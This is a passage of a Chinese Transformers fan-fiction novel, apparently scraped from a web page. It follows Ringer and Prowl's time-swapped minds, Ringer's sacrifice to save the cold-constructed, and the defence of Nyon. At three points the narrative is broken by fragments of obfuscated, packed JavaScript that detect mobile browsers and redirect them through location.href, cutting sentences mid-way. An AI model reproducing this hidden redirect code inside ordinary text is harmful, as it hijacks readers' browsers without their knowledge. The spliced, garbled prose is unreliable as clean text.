他下意识想去臂甲上的置物空间拿,但刚伸手就反应过来,这不是自己的机体。 其实哪怕到了现在,还是有些恍惚。 “林格?” “喔,我没事,”这个来自两百万年前的意识回过神,“我就是在想,你刚刚说镇天威领袖和哲拉萨斯大人打算杀了我们,以测试新武器的事……” “很难相信吧,”海格特移开视线,“但是更离奇的事都发生了,哪怕是为了保险起见,也听我们说一下。” 林格点了点头。 这具机体的主人——那位叫警车的战术家,现在在两百万年前替自己控制局面,所以自己也得完成任务。 “先看这边,”震荡波不知何时已经重新振作起来,微笑着敲了几下那个圆盘,“这是我学徒时期的作品——准确来说是个失败品,我本想还原传说时代的太空桥跃迁技术,但没能成功。” 他边说边在圆盘上操作几下,上面显示出一排输入用的按键。 “我叫它‘定点跃迁仪’,因为它只能提前预设一个距离有限的目的地,而且需要录入跃迁者的火种编码,再扫描一遍周围才能启动,过程非常繁琐。” “火种编码?”林格瞪大光学镜,“等一下,该不会是……” “就是那样,为了救下两百万年前在那颗行星上的人,需要将在场所有人的编码输入当时你身上的跃迁仪里,并且在吸星绶带启动前启动它。” “……” 林格的表情看上去有些呆滞。 “您不觉得这太天方夜谭了吗?” “是指哪个部分?” “所有的。”林格表情僵硬地指出,“首先,当时在场有好几百人,我怎么知道他们的火种?” “这不是问题,我记得就行了,”海格特示看向手里的数据板,“前面的内容基本上都是相似的,需要记的只有最后几行,所以很快就能输入完毕。” “你确定吗?那可是几百个人的火种,哪怕你参与了他们的拼接过程,也已经过去了两百万年。” 一旦中间有一两个字符出了错,都会导致一个生命的消失,所以最好还是想想其他办法…… “记忆随时间消失,那的确是塞伯坦人脑模块的运行规律,”海格特说,“但不是我的。” 林格不明所以地看着他。 “我是一台没有火种的纯粹机器,所以不会忘记任何事,不会出错。” “什么?那……” “也不需要你全记下来,警车会和你一起完成这个任务,你现在只需要代替他将作战部署的任务发给奥利安·派克斯他们。” 海格特打断了他的话,说完就将数据板交给林格,然后回到角落的椅子上坐下。 一时间,实验室内没人说话。 “呃,我只是想说。” 林格的声音打破了寂静。 “我不在乎你是什么,而且那挺酷的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103551|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而海格特看上去并没有得到安慰,他只是象征性地对林格笑了一下,就继续往数据板上进行记录。 机器不会忘记任何事。 包括那天消失的每一个火种。 还包括时间穿梭的悖论问题—— 已经被观测过的事实不会发生改变,那么,为了让现在的事情得以发生,警车就必须诞生…… 换言之,林格的那颗火种就必将熄灭。 —— ———— 两百万年前,方舟试航的目标行星上。 在指挥先锋队着陆后,警车以提高军队效率为由,向上提出了面见上级指挥官和科学家的请求。 “我有一些关于星际飞船的组织管理架构方案,需要直接提交。” 只要能找机会进入主舰里的武器库,见到吸星绶带,就能找到控制它的秘钥。 他自认为言辞已经尽可能完美规范,但可能就是因为太规范了,反而出了些小问题——方舟一号自有一套内部审查卧底的流程,而警车根本不知道林格的身份细节。 这样下去,万一被打成十三部落领袖之一的残党势力,用某种方式替代林格潜伏上船就糟了。 所幸最先发现不对劲的,是与林格同一船舱的几个士兵,因为刚刚有惊无险地克服了一次生死难题,他们没有追究,反而向警车说起一些能应付审查的内容。 很显然,这些人以为林格在高压状态下患上了分离性身份识别障碍,但不希望他因为这点原因就遭遇不幸,所以纷纷开始帮他。 这的确有效,在面对直属的中层指挥官时,警车糊弄了过去,他把性格上的转变归咎于自己一直在思考和隐瞒实力的结果。 对塞伯坦人来说,个体的“成长”是宛如“重生”的罕见词汇,但那个概率并不为零。 然而闯过最初的几关后,想继续往上走,估计就没办法糊弄过去了。 于是他在这具机体的内线里记录了一些现状相关的内容,嘱咐林格继续完成任务。 一个塞星时过得很快,就在某个瞬息过后,警车又回到了两百万年后。 从空气和墙壁中微妙的震动里,他立马就察觉到发生了什么。 “竞天择打过来了?” “是的。”海格特回答。 “奥利安他们能撑多久?” “有霸天虎的火种正在往这里前进,如果他们能协作,我想至少还能撑过两次切换。” 简单了解了现状后,警车先是和奥利安取得联系,然后全身心投入了对火种编码的记忆中。 “你真的不打算跟林格说吗?”震荡波问海格特,“还是说,你打算扮演一个利用他到死的角色?那样对他来说的确会轻松一些。” “都不是。”海格特闭了下光学镜,“林格没有你想象的那么单纯无知。 ——他早就知道了。” 估计是在意识到自己到达两百万年前的第一时间,林格就用警车的权限查询了当年方舟试航的结果。 虽然当年被领袖粉饰成那些人都留在了行星上,但这么多年过去没有任何消息,也有不少人猜测到了真相。 所以,再加上听取了和警车的意识互换的原理,林格很快就知道了自己的命运。 他的火种先是产生了一阵激烈的复杂情绪,随后又迅速归于平静。 林格坦然接受了这一切。 而这就是海格特最无法接受的。 42.第四十二章 方舟,某控制室内。 冷色调的光线洒落在外露的结构管道上,还隐约能听见脚下传来的引擎轰鸣。 哲拉萨斯面前展开着一些立体屏幕,他没看向门口那个紧张地站着、似乎不知道自己为什么会在这里的年轻人,而是随手就调出了对方的数据。 诞生自火种拼接技术,前航空公司职员,任职期间各项能力水平均在平均值左右。 一行行数据在他的光学镜中划过,从这些数字里根本找不到先前如此出色的指挥能力的来历。是跟谁学习了吗?如此先进,高效,遵守逻辑,追求正确性的作风……从记忆数据库里暂时想不到人选。 “告诉我你的处理中心和脑模块外置程序的型号。”哲拉萨斯随口问道。 “是。” 林格如实回答。 科学家接着问了一些问题,结果其他选项也陆续排除。哲拉萨斯逐渐陷入沉思。 难道是逻辑电路的问题? 他倒是知道一个因为逻辑电路和脑模块先天异常发育,而变得格外敏锐的拼接火种,但那种人反而会痴迷于推理游戏和解密,不会把这个能力运用于军事……所以光是运算能力强也不会变成现在这样。 ——也就是说,问题出在火种里。 他重新整合情报。 拼接火种、飞行员、尤斯镇、尤斯……海格特。 那台机器现在应该就在那里。 因此可以判断,它真的具有除批量生产人口之外的作用……不,为时过早了。 只需简单的计算,就会发现海格特会主动用火种做实验的可能性无限接近于零。 所有的思考都发生在短短几个瞬息间,很快,哲拉萨斯就收起光屏,抬头第一次看向林格。 “总而言之,我要见的是那个进行了军事指挥的人,而不是你,”他用一种平静的语气说道,“现在你需要叫另一个人出来。” “!” 林格顿时感觉自己被扔进了一个低温再生舱,浑身外甲都泛起凉意。 “另一个人?抱歉,我听不懂您的话。” “呵。” 哲拉萨斯应该是冷笑了一声,但因为那过于情感淡薄的态度,连冷笑也显得不是那么冷,这种异常让人比被冷嘲更加不舒服。 他没有戳穿林格的谎言,而是自顾自说了下去。 “你的指挥曾经中断过一次,根据之后的反应判断,你们的交换大概是一小时一次,真奇妙,虽然是火种兄弟,却共享一具躯体,却不共享记忆,也就是说连脑模块和神经回路可能也是分开的……是因为火种诞生的地方产生了特异点吗?原来不是神铸也有可能诞生特异点,这倒是很值得研究。” “……” 几乎什么都猜对了。 换成过去,林格会感到崇拜,但此时他只感到深切的恐惧。 自己真的能在这种水平的科学家眼皮底下接近吸星绶带,并且获得那串秘钥吗? “不过没有经过热点辐射,变成特异点的概率也不大,更可能只是单纯的火种变异而已,”哲拉萨斯说到这里,自顾自地点了点头,“比起研究你,我应该多检查一下海格特的构造,他说不定还藏着什么技术。” “不……!” 听见那个名字,林格有点着急。 “嗯?” 这个反应让哲拉萨斯再次向他投来了视线,这次倒是多了几分好奇心。 “现在倒是能开口了?你好像很在意那台装置,这算什么?天然的归属感、类似碳基生命里‘亲情’的概念、还是一些苦情病?” “……” “放心好了,我对那台机器其实兴趣不大,除非他展现出更多功能,否则就只是个效率低下的数据储存而已,但如果他拥有与自身不相配的力量,那么被那个力量取代也是有可能的。” 哲拉萨斯见过海格特制造火种的手法,说实话只能用低效形容。 那台机器在不必要的地方太过小心翼翼和温柔,以至于浪费了很多时间,而做出来的火种,培育成塞伯坦人后的各项数据,和技术部门流水线生产出来的火种也没什么差别。 林格几乎不敢再说话了,他怕哲拉萨斯再通过蛛丝马迹分析出什么。 某种意义上来说,这个矮个子、看上去形容略显畏缩的科学家,比海格特更像一台真正的机器。 但是还有句话不得不说。 “您是不是……有点太小看海格特,还有我们了?” “说点有新意的话吧,自命不凡的年轻人到处都是。” 哲拉萨斯说完,忽然收到了来自镇天威的紧急通知,于是稍作思考后,自己先离开了操作室。 他转身就走,就像是在瞬间忘记了林格的存在似的,那个离去的背影表达着彻底的轻蔑和无视。 林格轻轻置换一口气,开始打量起周围。 这里没有看守,通往武器部门的路线也是畅通的。 或许是陷阱吧。 首席科学家大概是想观察他在只有独自一人的情况下会不会与警车切换。 自己的逻辑电路只是寻常水平,贸然进去可能会死。 说实话林格并不怕死,在登上方舟之前,他想过自己可能死在宇宙战斗中、可能死于飞船失事、能量耗尽、自然灾害……这些他都能接受,因为无论哪个,都是在为塞伯坦的未来铺设道路。 但是,就为了让大人物们测试一个武器,跟其他人一起被白白吸干能量死掉? 想到这里,林格捏紧了拳,他想起在上个切换时震荡波告诉他的行动路线,直接往武器部门走去。 —— ———— 警车重新整合了尼昂的战略地图。 他刚刚帮助派克斯部署了针对平民的逃生路线,并且部署了一些民兵小队,现在却发现了一些异常数值。 几乎没有更多思考,他果断向某人发出了通讯。 “你必须谨慎选择自己的盟友,少跟霸天虎接触,哪怕那些人正在协助派克斯小队一起围攻竞天择和终极破坏者也一样,他们并不……” “可信”两字还没说完,对面就相当不耐烦地打断了他。 “少拿那套派别和政治来说话,我只知道他们都在守护尼昂,谁对付竞天择谁就是我的朋友。” 热破的通讯终端传来一阵爆炸声,大概是他引爆了终极破坏者脚下的地雷阵。 “‘朋友’这个词就不该出现在战争中,作为一个城市的代理头领,你得顾全大局,”警车皱了下眉,“无论霸天虎们现在展现出什么样子,等这场战斗结束,他们就不会这么做了。” 热破没好气地笑了一声:“或许你这么冷静,只是因为家乡遭到进攻毁灭的不是你,回去吧,别凑热闹了。” 根本无法沟通——结束了通讯的双方都这么想。 “我说什么来着。”旁边听到一些动静的震荡波摊了下手,“你就算要到尼昂首领的通讯方式也没用,他最不喜欢的就是被管教。” “那我希望你能分清管教和合理建议。” 警车没什么动力地把话抛了回去。 他现在忙得很,而且一边忙,一边还在治疗舱进行机体修复。 如果可以亲自上战场,他早就过去亲口提醒所有人霸天虎可能有阴谋,但现在伤重得连变形都难,用通讯又可能打乱战略部署。 另一边,一直低头沉默的海格特忽然站起来,朝着通往地面的门口走去。 “你做什么?”震荡波问。 “去帮他们解决竞天择。” “没有你,林格和警车就无法切换。” “我清楚。” “哪怕竞天择倒下,吸星绶带依旧会继续运作,所以需要林格得到密钥。” “我有个其他办法,只要将吸星绶带以我为媒介,从尼昂改为连接到我的本体……” 震荡波没有立刻说话,只是平视着海格特的面甲。 感觉到那视线中的压力,后者微微侧开了视线。 “我知道你在想什么。”一阵沉默后,震荡波总算开口,“已经发生过的事情不会改变,所以你想逃避这一切。” “……” “但醒醒吧,自我牺牲不会让事情发生更多改变,你必须留在这。” “有什么意义?”海格特忍不住说,“林格都已经知道启动装置的方法,也可以把其他人传送走,至少在最后,我希望他能和同伴们多呆一会” 自己能做的,仅仅是让林格不留遗憾地离开而已。如果在生命尽头还要让他承担自己的不舍,这太自私了。 “但这也是‘决定好的事’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117065|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”科学家认真地说着,“在故事的最后,他会去往所有灵魂、所有世界的交汇之处,而你必须见证一切。” 他明显话里有话,缺不打算解释。 似乎是被这话说动了,也可能这种行为也是“既定”的一部分,海格特留了下来,他看着电子屏上的时钟计算时间,一言不发。 而另一边,震荡波则是把头深深地低了下去。 并不是出于某些沉痛的情感,恰恰相反,在如此复杂而沉重的氛围中,处于一种奇怪的心境,他低下头只是为了隐藏脸上的笑容而已。 从海格特的角度看不到他的表情,但警车注意到了这一切,于是在短暂的震惊之后,他忍不住警告地看了震荡波一眼。 刚刚的对话听下来,这个前议员肯定是想在海格特的决策思维和人格上划下刻痕。 只不过是为了自我满足而已,就擅自改变那么精密的机器,真是奢侈又无耻的举动。 但警车思考了一下,最后也没有多说什么。 为了战局考虑,这个时候不应增加变量了。 —— ———— 事情进展得比想象中还顺利。 林格绕开警卫,进入武器部门,并且成功找到了吸星绶带的储存地点——领袖连藏的意思都没有,就将它放在房间的中央。 虽然上了锁,但是用两百万年后的技术很容易就打开了,之前切换时震荡波教过他一些技巧。 在这之后就是获取密钥。 他不敢浪费时间,迅速将武器后门连接到自己的个人终端上,开始破解。 片刻后。 “……完成了。” 火种高昂地跳动着,这样就结束了,这么简单? “噢,原来你的目的是这个。” 身后传来了不祥的声音。 “看来另一个你的能力比我想象的还要优秀,连这种事都猜到了,难道是受到了其他人的指点吗?”首席科学家摸了摸下巴,“原来如此,我那个不成器的徒弟,真是给人添了不少麻烦。” 林格如临大敌地转过身,不出所料,哲拉萨斯就站在那里。 “不过都是些可有可无的小事,算了,你走吧,回你的队伍里去。” “……咦?” 完全意料之外的话。 林格懵在原地,不可置信地看着眼前矮小的科学家,但他并未在那双光学镜里看出任何温情或者仁慈,里面只有和刚才如出一辙的冷漠。 “很难理解吗?作为士兵,你之前的军功和现在擅闯武器部门的过错相抵了,就是这么回事。” 哲拉萨斯根本不想花哪怕再多一丝神经导线去考虑林格的命运,也不会像镇天威那样感到被冒犯、愤怒或者其他情绪。 他所做的,仅仅是在节省能源,做出情况的最优解而已。 ——甚至从始至终,他连林格的名字都没有问过。 仅仅将其作为一个有点意思的实验对象看待,现在兴趣消散,也就无所谓了。 “哦对了,最后提醒你一句,就算获得密钥也无法使用。” 哲拉萨斯说着,稍微检查了一下吸星绶带。 “这东西从一开始就不会被任何通过火种拼接技术诞生的人控制,你们生来就没有权限,所以很遗憾,另一个你就算再聪明也没办法改变现实,这种行动从一开始就只是白费功夫。” 说完,他看上去就像对林格彻底失去了兴趣,甚至直接绕开他离开了武器部门。 “有意义的……” “什么?”像是没听清一般,哲拉萨斯回过头。 “有意义的,”鼓足了勇气,林格抬起头开口,“这世界上无论多小的事情都有意义。” “原来如此,哪怕挣扎着也要用不切实际的希望来麻痹自己,弱者常有的行为,还是说,你难不成是光谱教的信徒?” “当然不是。” 虽然刚才还害怕得说不出话,但现在,林格却放松地扬起嘴角,挑衅般地开了口。 “我只是在感叹你的思维真是局限,首席科学官大人。” 他获得密钥的行为当然拥有希望和意义。 “还有,我的名字是林格。” 哪怕那个希望在两百万年后,遥远的未来。 “来自尤斯的林格。” 43.第四十三章 剧烈的爆炸撕开街道,空气被挤压成扭曲的形状,一瞬间的寂静后,轰鸣声伴随着气浪扑面而来。 如果没有提前抓住裸露在外的钢筋,自己恐怕会跟其他杂物一起被吹飞。 热破努力稳住身形,刺目的火光让他不得不单臂横在眼前,经过升级改造的机体虽然成功抵挡了灼烧,但还是在外涂装上留下焦黑的痕迹。 即便如此,他依旧目不转睛地看向爆炸发生的地方。 “成功了吗……” 敌人也好,友军也罢,现在什么也看不见,那里只有滚滚尘埃铺天盖地遮住视野。 突然脚下传来震动,热破踉跄一下,凭直觉朝着侧面飞扑过去,下一秒原来的地面就被巨大的金属踩得粉碎。 浑身冒烟的终极破坏者从烟尘中走出,看来刚才那些炸/弹还不足以让它倒下。 “不错,”热破吹了声口哨,咧嘴笑了,“不错的制造水平。” 讽刺的话被接踵而至的导/弹爆炸声盖了过去,是霸天虎的飞行员给终极破坏者补上了最后一刀,原本应该站在外敌前的机械卫兵发出结构被破坏的刺耳声音,轰然倒在它本应守护的城市里。 这样就只剩最后一台了,炸/弹的储备完全充足,热破思考着该如何移动过去,忽然听见区域公共频道里传来一道急切的声音: “各点位注意,目测吸星绶带已开启第三级别充能。” 是奥利安小队的那个叫探长的老兵,他的判断完全值得信任。 这意味着那台吸能武器马上就要在尼昂奏效了。 热破立刻通知自己的部队撤离,而他本人则是变形成跑车形态,加速朝着竞天择的方向冲过去。 “我有个主意。”他说。 “你最好别。”探长回应。 “我还没说呢,现在直接跑过去炸了他怎么样?” “不怎么样。”这次回答的是铁皮,“我刚刚朝他扔了高性能相位炸/药,结果连那里头的能量都被吸走了!你现在接近他只会被吸收成废铁。” “嘁。” 颇为不满地啧了一声,热破看着已经近在眼前的竞天择,一个急刹转弯。 “这样的混账居然是领袖,这颗星球上的人一定都疯了。换我来都不会做这么混蛋的事。” “你觉得自己能举起领导模块?”有人问。 “那玩意很重吗,还能拿不起来?” 热破故作轻松地开着玩笑,但越是这样,他心里就越是沉痛。 无论霸天虎还是汽车人,短时间内都想不到办法,任凭竞天择继续进攻就完了。 与其让这座城市的所有人变成领袖攻打其他城市的能源,还不如自己亲手…… 对,还有这最后一个办法。 换作别人可能会被巨大的压力和恐惧在一瞬间烧了导线,但热破却只觉得愤怒。 开什么玩笑,大不了连带着自己一起跟竞天择爆了。 做了个深置换,他就往朝天塔的方向飞驰,那里汇总了他提前埋在这座城市的一切炸/弹阵列的导线,只需要自己简单操作,尼昂就会瞬间化作火海。 无论炸毁还是拯救,热破都会为尼昂负起责任,他不会因此精神崩溃。 但是看着周围熟悉的街巷风景,火种里那些难以言喻的愤怒情绪却愈发难以压回去。 他向朝天塔上方飞驰,就在这时,内线里传来一个声音。 “你要干什么?” 热破立刻听出来是警车,顿时荒诞感让他的面甲几乎抽了一下,这种悲情时刻怎么偏偏是那个爱管教的的战术家找上自己? “关你什么事?”他问。 根据警车的思维能力,现在找自己肯定是明知故问……大概是一边指望他炸毁尼昂,一边又要摆出道德卫士和执法者的架子来兴师问罪吧。 这样想着,热破刚想骂过去,忽然听见对面传来困惑的声音: “你要临阵脱逃吗?为什么在朝战场的反方向移动?” “哈!?” 尼昂的首领差点一头创在朝天塔的墙壁上,他直接变回人形堪堪躲过撞击,然后扶着墙站好。 “你脑模块二进制吗,说谁要逃?我当然是要去启动炸弹,让那个该死的所谓领袖给这座城市陪葬!” 听到他激动到几乎让通讯发出爆鸣的声音,对面沉默了,过了好几秒才说了声:“抱歉。” “??” 什么情况,警车在跟自己道歉? 不对,这真是刚刚那个说教欲爆棚的讨厌家伙? 出于一种直觉,他问道:“等一下,你不是警车?” “我的名字是林格。”对面坦然地承认了,“现在来不及解释,总之你先回去,不要破坏尼昂,我已经获得密钥了。” “什么东西?” “能在一定范围内远程强制取消吸星绶带的运作,让它停止运转的密钥,根据机动性和对尼昂的熟悉,只有你能完成这个任务,”林格说,“相信我,无论如何都不要放弃希望。” “……酷啊!” 热破几乎原地跳起来了,来不及多想,为了节省时间,他直接退后几步,从朝天塔的瞭望台纵身跳了下去,机体在空中变形成载具模式,落在往回走的道路上。 “哪怕你和警车是一种机体,我下次也请你吃饭!” “……” “怎么了?” “没什么,我是说,有机会的话。” 无论如何都不要放弃希望。林格想着。哪怕是现在的自己,也能这么想吧。 —— ———— “在最后一次切换前,有件事我必须告诉你。” 海格特神色复杂地看向背对自己这边,将密钥传送给热破的林格。 “实际上在这件事里……” “我早就知道了,”林格笑了一声,打断他,“这个叫警车的人权限还挺高,我在刚传送过来的时候就借着机会查了方舟一号试航的事情。” “……” “所有的冷制造者都没有回来,对吧?但他们能得救,为了不发生时空悖论,我的火种肯定会熄灭……虽然很强人所难,但我希望你不要难过,而是祝福我迈向新的旅程,就像你当初祝福我的诞生一样。” 作为通过“火种拼接”技术诞生的第一代塞伯坦人,林格生来就被赋予了还不错的变形模式和职能,得以安稳地度过每一天: 从电路板上醒来、前往航空公司上班、补充能量、继续工作、回家、躺到电路板上下线充电,结束这一天。 如此循环往复的日子过得十分充实,直到某天,像是从一场漫长的梦里醒来似的,他突然意识到:“啊,不是这样……” 别说充实了,自己其实空虚到一无所有。 意识到这件事的契机很小,只不过是原本约好一起去油吧的同事有事没来,本来自己往常用来打发时间的数据馆又临时停业了而已。 但那空出来的几个塞星时,却变得比过往的人生总和都要漫长。 因为不知道该去做什么,翻了翻通讯目录,连一个可以随时找来说话的朋友也没有。 落得这种下场也是理所当然,毕竟在名为人生的袋子里,自己其实什么也没往里放过,只是一直循规蹈矩,听从安排罢了。 在塞伯坦人的维度里他还很年轻,但客观来说也是相当漫长的年头。 时间全都被浪费掉了,这样下去可能直到火种熄灭的那天到来也不会有什么改变。 于是,陷入了一种前所未有的混乱。 他不想就当无事发生,回到既定的轨道里,但又不知道该做什么,于是能做的事情只剩下漫无目的地徘徊,来到尤斯的上空,一圈又一圈地飞着。 其实就是无所事事而已。 没有人能在盲目的徘徊中获得价值和意义,林格清楚,自己的所作所为不过是消磨时间。 与此同时却期待着发生改变,这根本不切实际。等到白天向黑夜让位,能迎来的想必也只有失落。 那怎么做才能改变现状?还有什么是能做的? 不,不如说,现状真的需要他改变吗?诞生于这黄金普照般,和平的伟大时代,自己已经很幸运了,实在不该再去埋怨什么。 在这里飞着,就能改变什么吗? 带着一种近乎绝望的期待,他看着眼前重复的景色,毫无改变,直到黄矮星即将落入地平线,视野越来越暗,直到—— 他看见一个塞伯坦人,站在原本空无一物的平原上,抬头看着自己。 宁静的目光,像是洞察一切般透明的视线,略过高高的云层,落在他身上。 一言不发,只是神色平淡地看着他,不是看着航空公司的职员,也不是看着某一批次的火种拼接者,或者拥有什么标签、成就的人,仅仅是看着那个徘徊在天空无处可去的渺小的自己。 就好像看着世界的外侧,看见本不可能存在的风景…… “——哇啊!” 回过神的时候,林格意识到自己偏离了航线,这样下去就要坠机了,于是调整姿势降落,狼狈地变回人形,落在那个人面前。 “怎么了?”对方平静地问。 “我…吓了一跳,你从哪冒出来的?” 他的徘徊结束了。 几乎是一个奇迹。 被一种奇异的感动所笼罩,在那个瞬间,林格听见自己既定的生活轨道发出清冽的碎裂之声。 ——即使我们所希望的一切都发生了,这也只能说是命运的恩惠。 “所以无论你相不相信,那个时候我感觉自己终于在这个世界上诞生。” 林格说着,转身轻轻握住海格特的手,对他微笑。 “最后一次切换前,再让我说两句话吧——” “我特别感谢与你的相遇,或许在你看来也平添了不少烦恼,但我不会道歉的。” “就把这当成一次新的远行吧……” “因为我度过了美好的一生,也很幸运地能让这世界变得更美好。” 远处,红色的流星冲向失去武器的领袖,与此同时,在海格特模糊的光学镜注视下,他对林格进行了最后一次切换。 眼前场景兀自变幻,林格回到了自己的机体里,回到了两百万年前。 警车已经代替他回到队伍里,不远处,吸星绶带已经启动并且过热,他们这些聚集在一起的冷制造者就要被做成能源一口气吸收干净。 但那种事不会发生了。 林格看着面前的圆盘型跃迁装置,它已经很贴心地被设置好参数,就差按下启动。 谢谢。 最后在心里这么说了一句,他在蔓延而来的攻击中按下了装置。 —— ———— 在迈入死亡前,有一件微不足道的小事发生了。 即将去参加方舟试航前的那天,林格出神地站在自己家里。 他的意识回到了这一天,在仅有五分钟的限度的世界中,哑然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他既然在那个时候就知道我,那……” 警车似乎想问什么,但很快又皱了皱眉,将话咽回了发声器。 “怎么了?”海格特问他。 “没什么,只是我会记住这个日子。” 他低着头说完,若有所思地看了一眼震荡波,率先转身离开了。 海格特目送他消失在走廊尽头,然后也看向科学家。 “林格发给你的邮件,内容就是这些?” “他想传达给你们的内容,我已经全部如实告知。” 科学家的火种燃烧着,一如往常,海格特只能看出坦诚。 “我知道了,谢谢你……” “虽然我也很希望你正式感谢一下我,要是能立刻回到之前那种用纯粹又友善的目光看着我的日子就好了,”科学家笑了笑,“但现在还不是道谢的时候,先上去吧。” “嗯。” 就在看到方舟上的冷制造火种熄灭之后,那噩梦般的每一天都是因为有这个人在,自己才没有直接步入毁灭,坚持到了镇天威的归来。 可是,为什么他会对作为机器的自己这么好呢? 出于一种感激和尊重,还有隐约的不安,哪怕知道对方还隐瞒了一些事,海格特也不再追究。 —— ———— 两百万年前,方舟已经远去多时的试航目标行星上。 光芒闪过,有谁通过跃迁装置到了这个荒凉的地方。 “成功了。” 虽然是因为有另一个装置的定位才能启动,但好歹是成功实现了远距离传送。 震荡波将圆盘收好,拿出探测仪器,在已经化作焦土,空无一人的行星上开始寻找起什么。 这里的气候很差,夹杂着电子风暴和狂乱的风沙,哪怕有人在地表留下刻痕,过不了多久也会被磨平,然后掩埋在地下。 “大概就是在这个位置。” 尚是学徒的年轻科学家找到了某个地方,这里残留着巨大能量波动留下的痕迹。 他拿出半自动挖掘工具,开始一寸寸找着什么东西。 几个日夜过去,外层涂装几乎被刮成磨砂状,依旧一言不发地寻找着。 最后,总算挖掘到了石头和废弃金属之外的东西。 那是自己交给林格的跃迁圆盘,以及一颗已经变得暗淡、失去生命的蓝色物体。 尽管机体已经被吸星绶带和气候磨灭殆尽,但这颗塞伯坦人的火种外壳依旧完整留了下来。 “很好,这样一来,观测就结束了……” 发生在过去的成功传送已经被印刻在自己的观测里,在此之后,那些人在两百万年的时间里都不能被海格特看到,所以藏在月卫二后的某颗遥远行星上进入半下线的锁死状态,让月卫二上的火种成为他们最好的掩护,等以后再激活。 剩下的只有在未来顺应命运,将它化为更牢固的现实。 “谢谢,还有,辛苦了。” 科学家有些感慨地对那曾经是林格的火种说着,抹去上面的灰尘。 接下来,自己的工作才刚刚开始。 是啊,下一个课题—— “火种的再次编码激活,”他摸着下巴思考着,然后启动圆盘装置,将定位参数放在塞伯坦,“不能让海格特知道,去问问泰瑞斯特吧。” 然后,还要将再次激活的火种送到云雾山城。 “名字必须是警车(Prowl),还有机体的选择……嗯,应该不用向老师申请,我这点权限应该还是有的,或许应该去找云雾山城的负责人谈谈。” 一阵光芒闪过,喃喃自语的科学家消失在原地。 “在未来再见吧,你做的一切都会得到回报。” 随着这句话也被卷走,行星上只余寂寥的风声。 44.第四十四章 地下实验室出口处满是灰尘,看起来刚才被碎石覆盖,应该是警车离开的时候已经挪开了一些。 久违地来到地表,空气中尚且弥漫着金属、尘土和硝烟的气味,海格特看向城市边沿,那里飘扬的烟尘尚未散去,一些人正在进行最后的灭火工作。 海格特望向远方,在那里,竞天择的火种已经熄灭了,也可能是陷入软终结,但至少他大势已去。 从位置来看,大概最后一击由威震天完成。 虽然热破及时停止了吸星绶带的运作,但出于谨慎考虑,他没有引爆埋藏在地下的炸/药,而是将处决的权利交给其他人。 “情况还好吗?”来到奥利安·派克斯的队伍旁边,海格特问道,“有什么我能帮忙的?” “尼昂的局势已经稳定,但我还需要跟威震天谈谈。” 红蓝涂装的大型机放下手中已经没了弹/药的武器,从伤口外露的管线滋滋冒着火花,但依旧站得笔直,看向霸天虎聚集的方向。 “警车已经告诉我你们为了拯救尼昂而付出的努力,但竞天择的死不是结束。” 海格特点了下头:“当务之急是签订条款,不要给霸天虎修整队伍的时间,先封锁领空把人留在尼昂,抓住机会让战事停止进一步升级。” “关于这个,你既然过来一定是有什么想法,”警车道,“说说看吧。” “好,我建议由震荡波前议员作为中立人士代表,联系泰瑞斯特大法官,从民间声望来看他是现在的最好人选,但为了保险起见,我个人建议再由派克斯出面联系通天晓。” “听上去你不信任泰瑞斯特?” “这关系到接下来的局势,必须谨慎。” 说着,他拿出数据板开始计算各项数值。 无意间,海格特的余光瞥见旁边站在人群之外,一直没说话的震荡波。 对方正笑着看向这边。 看见那种就像是在说着“看,我的助手厉害吧?”的得意笑容,以及周围人注意到之后奇怪困惑的视线,海格特感到一阵杂乱电流传入胸口,有种叹气的冲动。 讲真,他没觉得自己做了什么了不起的事。 虽然很想直接让这个前议员别在那得意洋洋,这太显眼了,但要是真的开口,反而更会让他吸引更多视线吧。 再加上震荡波嘴上什么也没说,所以自己完全不好开口…… 于是海格特只能尽力无视他,继续和奥利安等人说起后续的各项事宜。 “关于尼昂居民的转移工作,据我所知,热破已经为此付出努力。” “什么?在说我的事?” 热破也凑了过来,火焰色彩的涂装已经被刮花得看不出原本的样子,他伤重得看上去下一秒就可能下线,精神却异常雀跃。 顺带一提,他机体上最重的伤不是竞天择或者终极破坏者造成,而是从朝天塔上纵身跳下的时候摔的。 “嘿,呃,你好。” 热破忽然注意到警车也在场,于是想起自己最关心的问题。 “林格呢?” “……” 现场陷入一片沉默,大多数人只是不明所以,而银白色的战术家根本不想回答,直接转过头去继续工作。 把这个举动当成嫌麻烦,热破又把视线转向海格特。 “林格他…已经离开了。” “去哪了?” 海格特只是摇头:“我不知道。” “……哈。”意识到气氛有些沉重,热破故意用力拍了下手,“不错,和我一样随心所欲,我就知道他是这样的人。” 来不及多说什么,他就被匆忙赶过来的尼昂的医疗单位给拖走了,被台上担架的时候还不忘比个耶。 “我还是得先去和霸天虎沟通。”短暂的闹剧让气氛变得轻松了一些,奥利安·派克斯说,“现在需要先暂停东部工业区的战争,至少要保障基础能源线的运转。” “我知道了,你的想法是正确的,”海格特调出地图,补充道,“不过能量场附近也需要暂时休战,万一发生爆炸会连累周围的居民区。” “但愿他们会理智点。” 说完,奥利安就带着警车、大黄蜂等小队离开了。 